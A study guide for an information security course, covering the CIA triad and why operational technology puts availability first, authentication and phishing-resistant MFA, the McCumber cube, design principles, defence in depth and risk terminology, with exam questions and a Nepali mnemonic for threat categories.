Confidentiality is preventing or minimising unauthorised access to data while it is in storage, in process and in transit (the deck's definition). It covers the secrecy of business data and the privacy of personal data: information that an organization collects, uses and stores should be used only for the purposes stated by the data owner when it was collected. The deck warns that many organizations collect, swap and sell personal information as a commodity. Example: only the account holder and authorised bank staff can see a balance.
Integrity is the quality or state of being whole, complete and uncorrupted: protecting the reliability and correctness of data, preventing unauthorised alterations, so that data remains correct, unaltered and preserved. It has two sides: stopping unauthorised subjects from making changes, and stopping authorised subjects from making unauthorised changes, such as mistakes. Example: a transfer of Rs 5,000 must not become Rs 50,000 on its way to the server.
Availability means authorised subjects are granted timely and uninterrupted access to objects. In the deck's words, availability controls support sufficient bandwidth and timeliness of processing, as the organization or situation needs; a mechanism that offers availability gives a high level of assurance that data, objects and resources are accessible to authorised subjects; and availability includes efficient, uninterrupted access and the prevention of denial of service attacks. Example: a mobile banking app that keeps working through the busy days before Dashain.
The three depend on one another, and pull against one another. The deck notes that availability depends on integrity and confidentiality: a system that is up but serving tampered or leaked data is not really available for its purpose. They also conflict: more encryption and checks slow access, and more copies for availability widen exposure. Hence the priority question of the next card.
Threats and countermeasures for each leg (the deck's three tables, each with an attack column, an events column, called causes for availability, and a countermeasure column):
| Property | Attacks | Events (causes) | Countermeasures |
|---|---|---|---|
| Confidentiality | capturing network traffic, stealing password files, social engineering techniques, port scanning, eavesdropping, sniffing, escalation of privileges | failing to properly encrypt a transmission; failing to fully authenticate a remote system before transferring data; leaving open otherwise secured access points; accessing malicious code that opens a backdoor; misrouted faxes; documents left on printers; walking away from a terminal while data is displayed on the monitor | encryption, network traffic padding, strict access control, rigorous authentication procedures, data classification, application of security policies, extensive personnel training |
| Integrity | viruses, logic bombs, unauthorised access, errors in coding and applications, malicious modification, intentional replacement, system backdoors | corruption while information is compiled, stored or transmitted; faulty programming; noise in the transmission channel | strict access control, rigorous authentication procedures, intrusion detection systems, object and data encryption, hash total verifications, interface restrictions, input and function checks, extensive personnel training |
| Availability | DoS attacks, object destruction, communication interruptions | accidentally deleting files; over-utilizing a hardware or software component; under-allocating resources; mislabelling or incorrectly classifying objects | using access controls effectively, monitoring performance and network traffic, firewalls and routers to prevent DoS attacks, redundancy for critical systems, maintaining and testing backup systems |
One specific threat for each leg (what the class notes' question asks for):
- Against confidentiality: sniffing. An attacker on the same Wi-Fi captures unencrypted traffic and reads passwords or emails; TLS encryption defeats it (chapter 2's man in the middle).
- Against integrity: a virus, or a man in the middle that alters data. A virus modifies or corrupts files; an interceptor changes the account number in a payment. Hashes, message authentication codes and digital signatures detect it.
- Against availability: denial of service. A flood of requests, often from a botnet (DoS and DDoS), exhausts the server so real users cannot get in. Ransomware attacks availability too, by encrypting the data.
The deck's own picture of an attack on each leg: confidentiality, WikiLeaks-style leaks and doxxing (publishing someone's private details); integrity, ransomware (it alters the data) and #fakenews; availability, a permanent denial of service (PDoS), an MBR wiper (which erases the disk's master boot record so the machine cannot start) and bricking firmware (which leaves a device dead).
Controls mapped to the leg they serve (deck):
| Confidentiality | Integrity | Availability |
|---|---|---|
| encryption at rest (whole disk, database), encryption in transit (TLS, IPsec, SSH), physical and technical access control | hashing (data integrity), configuration management (system integrity), change control (process integrity), access control, software digital signing, CRC checks on transmission | RAID, clustering, load balancing, redundant data and power lines, software and data backups, disk shadowing, co-location and off-site facilities, roll-back functions, fail-over configurations |
The supporting concepts (the deck's concepts, conditions and aspects of each leg, the finer vocabulary of the CISSP texts it follows):
| Leg | Aspect | Meaning (deck) |
|---|---|---|
| Confidentiality | Sensitivity | the quality of information that could cause harm or damage if disclosed, such as a zero-day with proof of concept (PoC) code |
| Confidentiality | Discretion | a decision by which an operator can influence or control disclosure to minimise harm |
| Confidentiality | Criticality | the level to which information is mission critical: a trade secret, military intelligence |
| Confidentiality | Concealment | hiding, or preventing disclosure (security through obscurity) |
| Confidentiality | Secrecy | keeping something a secret, preventing the disclosure of information |
| Confidentiality | Privacy | keeping confidential information that is personally identifiable, or that could cause harm, embarrassment or disgrace if revealed |
| Confidentiality | Seclusion | storing something in an out-of-the-way location, which can also have strict access controls and so helps enforce confidentiality |
| Confidentiality | Isolation | keeping something separated from others, to prevent commingling or disclosure of information |
| Integrity | Accuracy | being correct and precise |
| Integrity | Truthfulness | being a true reflection of reality |
| Integrity | Authenticity | being authentic or genuine |
| Integrity | Nonrepudiation | not being able to deny having performed an action or activity, or being able to verify the origin of a communication or event |
| Integrity | Accountability | being responsible or obligated for actions and results |
| Integrity | Responsibility | being in charge of, or having control over, something or someone: the data custodian is responsible for protecting the asset |
| Integrity | Validity | being factually or logically sound: all false information is excluded |
| Integrity | Completeness | having all needed parts: all true information is included |
| Integrity | Comprehensiveness | being complete in scope: the entire scope of the data is collected, with any intentional limits documented |
| Availability | Usability | being easy to use or learn, or able to be understood and controlled by a subject |
| Availability | Accessibility | the widest range of subjects can interact with a resource, whatever their capabilities or limitations |
| Availability | Timeliness | being prompt, on time, within a reasonable time frame, a low-latency response |
- a) Explain the CIA triad and its importance in achieving organizational security goals. b) According to Sun Tzu, what two things must be achieved to successfully secure information assets? Explain. 2082 Bhadra Q1 · 10
- Define the CIA Triad and explain its three components. For each component, describe a specific threat that targets it. Discuss why an Operational Technology (OT) system might prioritize the triad differently (AIC) compared to a traditional IT system (CIA). Notes prediction, ch 1 Q1 · 2+3+3
CIA priority, and why operational technology reverses it to AIC PREDICTED
Who puts what first (deck):
- Military and government: confidentiality above integrity and availability; a leaked plan or identity is the worst outcome.
- Private companies: often availability above the other two; an online shop that is down loses sales every minute.
- IT systems (email, ERP, databases), even in private companies, tend to follow the CIA order, because the data itself is the asset.
- OT systems follow AIC: availability is prioritised overall, and integrity is valued over confidentiality.
What OT is. Operational technology is the hardware and software that monitors and controls physical processes: programmable logic controllers (PLCs), supervisory control and data acquisition (SCADA) systems, distributed control systems and manufacturing execution systems (MES). They run power grids, hydropower plants, water treatment, pipelines and factories. NIST's guide to securing them is SP 800-82 (Rev. 3, 2023, Guide to Operational Technology Security).
Why availability comes first in OT:
- The process is physical and continuous. A controller that stops can stop a turbine, a pump or a production line; downtime means blackouts, spoiled batches or danger.
- Safety. Losing view or control of a plant can injure people: at Davis-Besse (2003) the Slammer worm blinded a safety monitoring display for about five hours.
- Real time and hard to patch. Control loops must respond in milliseconds and run for years; a reboot for a patch waits for a planned shutdown and the vendor's approval.
Why integrity comes second: in OT a wrong value is a physical event. A changed setpoint can overheat a boiler or overdose a water supply. Stuxnet was an integrity attack: it altered PLC logic to spin centrifuges to failure while replaying normal readings to the operators, and TRISIS (2017) went after the safety systems themselves.
Why confidentiality comes last: most OT data, a tank level or a valve position, is not secret, and many industrial protocols (Modbus, and DNP3 in its basic form) have no encryption or authentication at all. A leak is bad; a stopped or corrupted plant is worse.
To remember it: imagine the control room of a hydropower plant on a Himalayan river. If someone reads its screens, the world learns the reservoir level, hardly a secret (C). If someone changes a setpoint, a turbine can overspeed and wreck itself (I). If the controllers stop, the turbines stop and the grid loses the plant (A). The engineers fear the stop most, the tampering next and the leak least: A, I, C.
| Point | IT (CIA) | OT (AIC) |
|---|---|---|
| Top priority | protect the data (confidentiality) | keep the process running safely (availability) |
| Worst outcome | a data breach | an outage, damage, injury |
| Component life | about 3 to 5 years | 10 to 15 years or longer |
| Patching | regular, often automatic | rare, in planned shutdowns, after vendor approval |
| Response time | delays of seconds tolerated | real time, milliseconds |
| Typical systems | email, ERP, databases, websites | PLC, SCADA, DCS, MES, HMI |
Example: Maroochy Shire (2000). Nothing secret leaked when a former employee of the installer drove the sewage SCADA system by radio; the harm was to availability (pumps failing) and integrity (false commands), and over 800,000 litres of sewage escaped. A design that put confidentiality first would have spent its effort in the wrong place.
- Define the CIA Triad and explain its three components. For each component, describe a specific threat that targets it. Discuss why an Operational Technology (OT) system might prioritize the triad differently (AIC) compared to a traditional IT system (CIA). Notes prediction, ch 1 Q1 · 2+3+3
1.3Security goals and objectives
Security goals beyond the triad, and security objectives HOT 1/4
82 Bh10
Why the triad is not enough. CIA says nothing about who did something, or whether a message really came from its claimed sender. An attacker logging in with a stolen password breaks none of the three at the moment of login, yet the system has been fooled about identity. ISO/IEC 27000 itself notes that authenticity, accountability, non-repudiation and reliability can also be involved.
| Goal | Meaning | Achieved by | Example |
|---|---|---|---|
| Authenticity | being genuine and verifiable: the user, message or data is what it claims to be, from whom it claims | authentication, digital certificates, digital signatures, MACs | a banking app checks the server's TLS certificate before sending a PIN |
| Accountability | every action can be traced to one identified user or process | unique IDs, logging, audit trails, no shared accounts | an audit log shows which clerk changed a salary record |
| Non-repudiation | a party cannot later deny having sent, received or done something | digital signatures with a private key only the signer holds, signed receipts, tamper-evident logs | a digitally signed tender bid cannot be disowned |
| Privacy | a person's control over how personal data is collected and used | consent, purpose limitation, data minimisation | a hospital uses patient data only for treatment |
| Assurance | grounds for confidence that the other goals are really met | testing, audit, certification, monitoring | an ISO/IEC 27001 certification audit |
To remember it: a cheque does all three. The bank compares the signature with its specimen before paying (authenticity); the signed cheque later proves that its writer issued it, which he or she cannot deny (non-repudiation); and the bank's records show which teller paid it out (accountability).
Where these lists come from. US federal law (FISMA) defines integrity to include ensuring non-repudiation and authenticity. NIST SP 800-33 (2001) named five security objectives: availability, integrity, confidentiality, accountability and assurance. Donn Parker's hexad (1998) adds two more to the triad and authenticity: possession or control (who holds the data, even unread, as with a stolen encrypted laptop) and utility (usefulness: data encrypted with a lost key is intact and available, but useless).
Non-repudiation needs asymmetry. A MAC proves a message came from someone holding the shared key, but both ends hold it, so either could have made it: that gives integrity and authenticity, not non-repudiation. A digital signature made with a private key that only the sender holds does.
From goals to objectives. Goals are broad; objectives are specific, measurable and dated, and come from the business. The domain map's reports and scorecards (KPIs and KRIs) are where they are tracked. Examples:
- Confidentiality: every laptop has full disk encryption by June; no customer data leaves by email attachment.
- Integrity: every production change passes change control; critical files are under integrity monitoring.
- Availability: the payment gateway is available 99.9 percent of each month; a backup restore is tested every quarter.
- Accountability: no shared administrator accounts; logs kept for a year and reviewed weekly.
- The organizational objectives behind them: protect assets and reputation, keep the business running, comply with law and contracts (in Nepal, the Electronic Transactions Act 2008 and the Privacy Act 2018), and keep risk within the level management accepts.
- a) Explain the CIA triad and its importance in achieving organizational security goals. b) According to Sun Tzu, what two things must be achieved to successfully secure information assets? Explain. 2082 Bhadra Q1 · 10
- Beyond confidentiality, integrity and availability, explain authenticity, non-repudiation and accountability as security goals, with an example of each. Describe any four security design principles, such as least privilege and separation of duties, that help an organization meet these goals. Predicted, ch 1 Q2 · 5+5
IAAA, authentication factors, MFA and phishing-resistant MFA TOP 3/4
82 Bh · 82 int · 81 Bh10
- Identification: the system recognises who the subject claims to be: typing a username, swiping a card, presenting a fingerprint. It is the first step, and only a claim.
- Authentication: the subject proves that he or she is who he or she claims to be: a password, a one-time code, a fingerprint match.
- Authorization: the system decides what the authenticated subject may do, by evaluating an access control list that compares the subject, the object and the intended activity (read, write, delete). Least privilege applies here.
- Accountability: every action is linked to the person or process that did it, through logs and audit trails. Password sharing destroys it: if three clerks share one login, no log can say which of them did what.
To remember it: the college exam portal on result day. Typing a roll number is identification; the password proves it (authentication); the portal then shows that student his or her own marks only, and never lets them be edited (authorization); and the log line recording which roll number opened which result, and when, is accountability.
Non-repudiation is the assurance that someone cannot deny the validity of something they did, such as a signed transaction. The network world calls three of the steps AAA (authentication, authorization and accounting), which RADIUS and TACACS+ servers provide for VPN and Wi-Fi logins.
On the name I4A. The syllabus's practical list (lab 13, access control configuration) writes "I4A and MFA". It does not expand I4A; it is this card's IAAA, identification followed by the A's of access control.
Authentication factors. A factor is a category of proof. Three are classic, two supporting:
| Factor | Type | Examples | Weakness |
|---|---|---|---|
| Something you know | knowledge | password, PIN, passphrase, security question | guessed, phished, reused, shared |
| Something you have | possession | phone with an authenticator app or SMS code, smart card, hardware token, security key | lost, stolen, SIM swapped; codes can be phished |
| Something you are | inherence (biometric) | fingerprint, face, iris, voice | cannot be changed once copied; false accepts and rejects |
| Somewhere you are | location | IP address, GPS position, office network | spoofed with a VPN; a supporting signal |
| Something you do | behaviour | typing rhythm, signature dynamics, gait | varies; used for continuous checks |
The class notes' names for the three: something you know is the knowledge factor, secret information only the user should possess (a password, a PIN, the answer to a security question); something you have is the possession factor, a unique physical or digital item in the user's possession (a smartphone receiving a one-time password, a personal device, a hardware token); something you are is the inherence factor, a unique biological or behavioural trait of the user (biometrics such as a fingerprint or a face ID scan).
Multi-factor authentication (MFA) requires two or more factors from different categories. A password plus a PIN is still single factor (both known); a password plus a code from the phone is two factor, because a stolen password no longer suffices without the phone. An ATM card and its PIN is everyday MFA. Microsoft reported in 2019 that MFA can block over 99.9 percent of account compromise attacks. The class notes add that MFA is a preventive technical control that creates a layered defence, and that the most common pair in traditional MFA is something you know (a password) with something you have (an OTP, a one-time password, sent to a device).
Why ordinary MFA can still be phished. SMS codes, authenticator app codes and simple push approvals all depend on the user doing something an attacker can manipulate:
- Real-time phishing (adversary in the middle): a look-alike login page relays the password and the one-time code to the real site within seconds and steals the session.
- MFA fatigue (push bombing): an attacker holding the password sends approval requests until the tired user taps Approve; the 2022 Uber breach began this way.
- SIM swapping: the attacker persuades the mobile operator to move the victim's number to a new SIM and receives the SMS codes. NIST SP 800-63B classes SMS as a restricted authenticator.
Phishing-resistant MFA is MFA that cannot be relayed or talked out of the user, because the proof is bound to the genuine website by public key cryptography and there is no secret for the user to hand over. CISA names two forms: FIDO2/WebAuthn (security keys and passkeys) and PKI-based smart cards (such as the US government's PIV card). How FIDO2 works:
- Registration: the authenticator (a USB or NFC key, or a passkey in the phone's secure chip) creates a new key pair for that one site; the site stores only the public key.
- Login: the site sends a random challenge; the browser adds the web address (origin) it is really connected to.
- Signing: after a touch, PIN or fingerprint, the authenticator signs the challenge with that site's private key, which never leaves the device.
- Verification: the site checks the signature with the stored public key. On a look-alike domain the origin differs, no matching key exists, and nothing the user types could be relayed.
The class notes' version. Phishing-resistant MFA lessens or removes the dependence on the weaker, phishable factors, and relies instead on factors an attacker could only get by physically stealing the user's device or biometrics. Their examples:
- Passkeys or cryptographic keys: stored securely on the user's own device, a phone or a computer.
- External security devices: physical hardware such as a USB security key, which can also connect via Bluetooth or NFC.
- Biometric factors: something you are, such as a fingerprint or face ID.
Mandated: the US government made phishing-resistant MFA mandatory for federal staff in OMB memorandum M-22-09 (2022), the first step of its zero trust strategy.
| Stops | Password only | Ordinary MFA (SMS, app code, push) | Phishing-resistant MFA (FIDO2, smart card) |
|---|---|---|---|
| password guessing and reuse | no | yes | yes |
| real-time phishing proxies | no | no | yes |
| push fatigue and SIM swap | no | no | yes |
| a secret the user can hand over | the password | the password and the code | none |
- a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and DREAD threat models in brief. 2082 Bhadra Q8 · 10
- a. Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b. Describe STRIDE and PASTA threat models in brief. 2082 internal Q7
- a) Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA? b) Describe STRIDE and PASTA threat models in brief. 2081 Bhadra Q7 · 10
The CNSS security model (McCumber cube) HOT 1/4
83 int5
Where it comes from. John McCumber proposed it in 1991; the US Committee on National Security Systems (CNSS, then called NSTISSC) adopted it in its training standard for information security professionals, NSTISSI No. 4011 (1994). Hence the two names. The deck says it shows the three dimensions central to the discussion of information security, and calls them information characteristics, information location and security control categories. The class notes name the third one countermeasures (policy, education, technology), or security measures (safeguards): technology; policy and procedures; and human factors, meaning security awareness, training and education.
| Axis | Its three values | The question it asks |
|---|---|---|
| Security goals (critical information characteristics) | confidentiality, integrity, availability | what must be preserved? |
| Information states | storage (at rest), processing (in use), transmission (in transit) | where is the data at this moment? |
| Security measures (countermeasures) | technology; policy and practices; education, training and awareness | what kind of control protects it? |
How it applies. Each of the 27 small cubes is one question the programme must answer. The cell confidentiality × transmission × technology asks what technology keeps data secret while it moves (TLS, a VPN, IPsec). An empty cell is a gap. Planners walk the cube to check the programme is balanced: organizations tend to fill the technology slice and leave the policy and people slices empty. So the model helps an organization establish and evaluate its security programme, ensuring all aspects of security are addressed, and forces it to look beyond technology to the relationships between goals, data states and controls. The class notes' example: a programme with a technical (technology) control for data in transmission, to ensure confidentiality, is still incomplete if it has no policy or training (human factors) for the integrity of data in storage.
Worked cells (the deck's grid of controls by goal and state):
| Goal | Storage | Processing | Transmission |
|---|---|---|---|
| Confidentiality | encryption at rest; access controls (RBAC and ABAC, role and attribute based); data classification and labelling; secure backups | secure enclaves (Intel SGX, AWS Nitro); encrypted computation (homomorphic encryption); role based access enforcement | network encryption (TLS, VPNs, IPsec); secure communication protocols (SSH, HTTPS); data masking and tokenisation |
| Integrity | hashing (SHA-256, HMAC); file integrity monitoring (Tripwire, OSSEC); digital signatures; version control and checksums | input validation (sanitisation, escaping); code signing and integrity verification; secure, tamper-proof logging | message authentication codes; digital certificates (PKI, TLS certificates); transport integrity mechanisms such as certificate (SSL) pinning |
| Availability | RAID and fault tolerance; cloud redundancy (multi-region replication); data backup and recovery plans | resource isolation (containers, microservices); capacity planning and auto-scaling; BCP and DR | load balancing and failover clustering; DDoS mitigation (CDN, WAF, rate limiting); network monitoring and QoS enforcement |
The third axis in practice (deck): technology (firewalls, IDS/IPS, SIEM, endpoint protection with EDR and XDR, secure coding practices tested with SAST and DAST, that is static and dynamic application security testing, patch management and vulnerability scanning), policies and procedures (information security policies built on ISO/IEC 27001, NIST or SOC 2, security awareness training and compliance audits, the BCP, IRP and DRP) and people (security culture and training: awareness and phishing training, insider threat management, identity and access management with MFA).
Example: a college's student records. They are stored in a database (storage), processed by the results system (processing) and sent to the university portal (transmission). For integrity alone they need hashing and backups (technology), a change control policy for grade entry (policy), and training for the staff who enter grades (education). Checking all nine cells of each goal shows where nothing has been done.
Limits. The cube shows where controls are missing, not which gaps matter most; risk assessment ranks them. It also leaves out authenticity and non-repudiation, which later models add.
- Describe the CNSS security model and how it applies to information security. 2083 internal Q1 · 5
Security design principles: least privilege, separation of duties and the rest PREDICTED
| Principle | Meaning | Example |
|---|---|---|
| Least privilege | every user and program gets only the rights its task needs, for only as long as needed | a bank teller can view accounts but not approve loans; a web server runs as an ordinary user, not as root |
| Need to know | even a cleared person sees only the information the task needs | a doctor sees her own patients' records |
| Separation of duties | no single person controls a whole sensitive task, so fraud needs collusion | one officer enters a payment, another approves it; a developer cannot deploy to production alone |
| Fail-safe defaults | access is denied unless explicitly allowed | a firewall rule set that ends in deny all |
| Economy of mechanism | keep the security design small and simple, so it can be checked | one short, reviewed login module rather than checks scattered through the code |
| Complete mediation | check every access, every time, against current permissions | authorization rechecked on each request, not only at login |
| Open design | security must not depend on the design being secret, only on the keys (Kerckhoffs's principle) | AES is public; its keys are not |
| Separation of privilege | require two conditions or keys, not one | a two person rule for a vault; MFA |
| Least common mechanism | minimise mechanisms shared between users | a separate temporary folder for each user |
| Psychological acceptability | security must be easy to use correctly, or users will bypass it | single sign-on instead of ten passwords |
Security through obscurity (the deck's data hiding) is relying on nobody knowing how a thing works. It can slow an attacker, but open design says it must never be the only control: once the secret design leaks, nothing is left.
Operational principles apply the same ideas to people: job rotation and mandatory vacations (fraud that needs daily upkeep comes to light when someone else does the job), defence in depth, and zero trust (NIST SP 800-207, 2020): no user or device is trusted for being inside the network, and every request is authenticated and authorised.
How they serve the goals. Least privilege and need to know limit what a stolen account can read (confidentiality) or change (integrity); separation of duties stops one insider from committing and hiding fraud (integrity, accountability); fail-safe defaults and complete mediation close forgotten paths; psychological acceptability keeps passwords off sticky notes. The terminated vice president's case breaks the first of them: his rights outlived his job by three years.
- Beyond confidentiality, integrity and availability, explain authenticity, non-repudiation and accountability as security goals, with an example of each. Describe any four security design principles, such as least privilege and separation of duties, that help an organization meet these goals. Predicted, ch 1 Q2 · 5+5
Defence in depth: layered security PREDICTED
The idea is old. A castle had a moat, an outer wall, an inner wall and a keep; military defence in depth trades ground for time instead of betting everything on one line. In security the premise is that every control eventually fails (a firewall rule is wrong, a user clicks a link, a patch is late), so no single control should be all that stands between the attacker and the data. The US NSA's version of the strategy rests on three elements: people, technology and operations.
The seven layers (the deck's figure, from the outside in):
| Layer | What it protects | Controls |
|---|---|---|
| Policies, procedures and awareness | the people and the rules around everything | security policy, password rules, data classification, training |
| Physical | buildings, rooms and hardware | locks, fences, security guards, CCTV, badge readers |
| Perimeter | the boundary with the internet | firewall, VPN, packet filters, DMZ, email and web gateways |
| Internal network | traffic inside the organization | segmentation (VLANs), internal firewalls, intrusion detection, encryption of internal traffic |
| Host | servers and endpoints | hardened platform OS, patches, malware protection and EDR, host firewall |
| Application | the software people use | SSO, authentication and authorization, input validation, WAF |
| Data | the asset itself | database, content and message security: encryption, access control lists, DLP, backups |
The four layers the class notes ask for:
- Perimeter: the first line of digital defence, protecting the internal network from external threats that originate on the internet: firewalls, VPNs and packet filters control the traffic entering and leaving, with a DMZ for public servers.
- Internal network: the internal network layer, operating inside the perimeter, is the second line; it secures communication within the corporate network and assumes the perimeter has been crossed: segmentation, internal firewalls, intrusion detection and encryption of internal traffic contain an intruder and stop lateral movement.
- Host: each server and workstation defends itself with a patched, hardened operating system, malware protection and EDR.
- Data: the innermost and most critical layer, protecting the information itself through database, content and message security; even an attacker who controls a host should find the data encrypted, access controlled and backed up.
Walking an attack through it. A phishing email with a malicious attachment: the email gateway (perimeter) may block it; a trained user (awareness) may report it; EDR (host) may stop the macro; segmentation (internal network) may stop the spread; MFA (application) may make a stolen password useless; encryption (data) may make copied files unreadable; and logs sent to a SIEM may detect whatever got through. The attacker must win at every layer; the defender needs to win at one.
Making the layers real:
- Independent failures: two firewalls from the same vendor with the same flaw are one layer, not two; mix vendors and kinds of control.
- Mix functions: each layer should prevent, detect and correct (control functions).
- Assume breach: design as if the outer layers have already failed; this thinking leads to zero trust, where no request is trusted for coming from inside.
- Depth follows risk: every layer costs money and administration, so the most valuable assets get the most layers.
- What is the Defense in Depth (Layered Security) strategic approach? Based on the strategy, identify and briefly explain four distinct security layers, such as Perimeter, Internal Network, Host, and Data. Notes prediction, ch 1 Q2 · 2+6
1.4Security threats and vulnerabilities
Assets, threats, vulnerabilities and risk: the vocabulary PREDICTED
These words are loose in everyday speech and exact in risk management. The deck gives them a slide of their own, risk management terms and terminologies; answers across the course quote them, and each builds on the one before, so they are best read in order. The example throughout is a college's online results system.
| Term | Definition (deck) | Example |
|---|---|---|
| Asset | anything of value to the organization: data, intellectual property, people (their knowledge, skills and abilities), hardware, software, procedures, brand, goodwill | the results database and the portal |
| Threat | any action or inaction that could cause damage, destruction, alteration, loss or disclosure of assets, or that could block access to or prevent maintenance of them | theft or alteration of results; a flood in the server room |
| Threat agent | whatever exploits the vulnerability: usually people, but also programs, hardware or systems; threat events include natural calamities, system failure, human error and power outage | a student who wants to change grades; an outside hacker |
| Vulnerability | a weakness, flaw, loophole, oversight, error, limitation, frailty or susceptibility | an unpatched SQL injection flaw in the login form; a shared admin password |
| Exposure | being susceptible to asset loss because of a threat: the vulnerability can or will be exploited | the portal is on the internet and the flaw is public |
| Risk | the possibility or likelihood that a threat will exploit a vulnerability to harm an asset; an assessment of probability, possibility or chance | high: easy to exploit, thousands of results at stake |
| Attack | the exploitation of a vulnerability by a threat agent | the hacker sends an injection string |
| Breach | a security mechanism bypassed or thwarted by a threat agent | the injection works and grades are altered |
| Safeguard (control, countermeasure) | anything that reduces the likelihood or impact of a risk, or detects it: firewall, IDS/IPS, auditing, data classification, separation of duties | parameterised queries, a WAF, the patch, audit logs |
The relationship in one sentence: a threat agent carries out a threat that exploits a vulnerability in an asset; the chance of that is risk, and safeguards reduce it. The deck draws it as a loop: threats exploit vulnerabilities, which result in exposure, which is risk, which is mitigated by safeguards, which protect assets, which are endangered by threats.
All three are needed for a risk. No vulnerability, no risk from that threat (a flood and a server room on the third floor); no threat, no risk from that weakness (a flaw in software nobody can reach); nothing of value, nothing to lose. Risk is often written loosely as a product, so that when any factor is near zero, so is the risk:
An analogy the deck borrows from a well known security tweet (by the researcher Casey Ellis, April 2021; the deck shows it printed on a T-shirt): the threat actor is someone who wants to punch you in the face, the threat is the punch being thrown, the vulnerability is your inability to block it, the risk is the likelihood of being punched, and acceptable risk is how willing you are to be punched.
Controls act on the parts. A patch removes the vulnerability; a firewall or a deterrent keeps the threat from reaching it; backups and insurance cut the impact. Nothing reduces the value of the asset, which is why risk identification starts with the assets.
- Explain the relationship between Organizational Assets, Threats, and Vulnerabilities in cybersecurity. Describe the five key steps involved in the risk identification process, starting from creating an inventory of assets. Notes prediction, ch 1 Q3 · 3+5
The categories of threat, and where vulnerabilities come from PREDICTED
| Category | Examples (the deck's table, threats to information security) |
|---|---|
| Compromises to intellectual property | software piracy or other copyright infringement |
| Deviations in quality of service from service providers | fluctuations in power, data and other services |
| Espionage or trespass | unauthorised access and data collection |
| Forces of nature | fire, flood, earthquake, lightning |
| Human error or failure | accidents, employee mistakes, failure to follow policy |
| Information extortion | a blackmail threat of information disclosure |
| Sabotage or vandalism | damage to or destruction of systems or information, website defacement |
| Software attacks | malware: viruses, worms, macros, denial of service, script injections |
| Technical hardware failures or errors | hardware equipment failure, such as a disk or power supply |
| Technical software failures or errors | bugs, code problems, loopholes, backdoors |
| Technological obsolescence | antiquated or outdated technologies |
| Theft | illegal confiscation of equipment or information |
Answers: Whitman and Mattord's twelve categories of threat, one word each (this reader's predicted Q3 asks for them with an example each).
How it decodes: twelve words, twelve categories, one word each, in the story's order rather than the table's. It reads as the old smuggler came late; crossing the river he broke his hand; he copied in the exam, and his honour was ruined. Most words mean their category. Of the three T's, taskar is the thief (theft) and tutyo is what hardware does (it breaks), so tarda, the one left, is software failure. Aayo and Exam carry only their letters.
- OOld Obsolescence (technological obsolescence): old is what obsolete means
- TTaskar Theft: a taskar is a smuggler, who takes what is not his
- DDhilo Deviations in quality of service: dhilo is slow or late, like a failing ISP or power supply
- AAayo Attacks (software attacks): malware, denial of service, script injection
- NNadi Nature (forces of nature): nadi is a river, and a river in flood is the classic one
- TTarda Technical software failures: bugs, loopholes, backdoors
- HHaat Human error or failure: a slip of the hand
- TTutyo Technical hardware failures: tutyo means it broke
- EExam Espionage or trespass
- CCopy Compromises to intellectual property: copying is piracy
- IIjjat Information extortion: pay up, or the leak ruins your ijjat
- SSatyanaas Sabotage or vandalism: satyanaas is ruin
To remember it: one imagined cyber cafe in Kathmandu could meet most of the twelve in a single year: a pirated copy of Windows on every PC (intellectual property), load-shedding and a slow ISP (quality of service), a customer reading the last user's open email (espionage or trespass), a monsoon flood in the basement (forces of nature), the operator deleting the bills folder (human error), a stolen webcam (theft) and machines on an operating system that no longer gets patches (obsolescence).
Simpler cuts of the same list. By intent: deliberate (espionage, extortion, sabotage, software attacks, theft), accidental (human error, hardware and software failure) and environmental (forces of nature, service deviations); by source, external or internal (the insider); or the deck's malice, mistakes and mischance.
Today's top threats (the deck's graphic): phishing, ransomware, malware, Emotet (a banking trojan turned malware-delivery botnet, which Europol's operation took down in January 2021 before it returned that November), advanced persistent threats, software supply chain attacks (the supply chain card), data breaches, password attacks, cloud security and privacy, cloud security threats, and insecure IoT. The graphic also has a tile for multi-layer security, which is the answer rather than a threat (defence in depth).
The top eight types of cyber attack (an infographic in the deck), each taught in full in chapter 2:
| Attack | What it does |
|---|---|
| 1. Phishing | deceptive emails, messages or websites obtain sensitive information: the attacker sends a link, collects the credentials and uses them (social engineering) |
| 2. Ransomware | software that encrypts files and demands payment for their release, often arriving on an infected pen drive or by email (ransomware) |
| 3. Denial of service (DoS) | overloads a system or network to disrupt its normal functioning; the deck's picture sends the flood from bots through open DNS servers, an amplification attack (DoS and DDoS) |
| 4. Man in the middle (MitM) | intercepts and manipulates the communication between two parties without their knowledge (man in the middle) |
| 5. SQL injection | exploits flaws in database queries to gain unauthorised access to the data behind a web application (SQL injection) |
| 6. Cross-site scripting (XSS) | injects malicious scripts into websites viewed by other users (XSS) |
| 7. Zero-day exploits | attack unknown vulnerabilities before the developers can address them: a flaw exists, a hacker finds it and attacks, and the developers learn of it with zero days to fix it (zero-day) |
| 8. DNS spoofing | redirects DNS queries to malicious sites: the attacker injects a fake DNS entry, so a user asking for the real website is sent to a fake one |
Threat assessment (the deck's identify and prioritise threats and threat agents). Each threat presents a unique challenge to information security and must be handled with specific controls that directly address that threat and the threat agent's attack strategy. Before threats can be assessed in risk identification, each one must be further examined to determine its potential to affect the targeted information asset; this is threat assessment. Not every threat matters equally, and assuming every threat attacks every asset makes the job impossibly large. The deck's criteria ask which threat represents the most danger to the organization, judged by the probability that it attacks this organization, the frequency with which it can occur, the amount of damage it could create, the cost to recover from that damage, and which threats would need the greatest expenditure to prevent. The answers rank the threats before they are paired with the assets (risk identification).
Vulnerabilities are the specific avenues a threat agent can exploit to attack an asset: flaws, loopholes and errors in the IT infrastructure, in processes and in people. When one is exploited, the asset suffers loss or damage. At the end of risk identification a list of assets and their vulnerabilities has been developed, and it is the starting point for the next step, risk assessment (the deck's vulnerability assessment).
| Source | Examples |
|---|---|
| Software flaws | buffer overflow, SQL injection, unpatched known flaws, zero-days |
| Configuration | default passwords, open ports, public cloud storage, excessive permissions |
| Design and process | no offboarding of leavers, no change control, shared accounts, shadow IT |
| People | staff who fall for phishing, weak or reused passwords |
| Physical and environmental | an unlocked server room, no fire suppression or cooling |
| Obsolescence | an operating system past vendor support, which receives no more patches |
How vulnerabilities are found and named: vulnerability scanning and penetration testing (chapter 7), code review and threat modeling, audits, vendor advisories and threat intelligence. Publicly known ones get a CVE identifier (Common Vulnerabilities and Exposures, run by MITRE since 1999) and a CVSS severity score from 0 to 10, published in the US National Vulnerability Database. A flaw unknown to the vendor, or with no patch yet, is a zero-day.
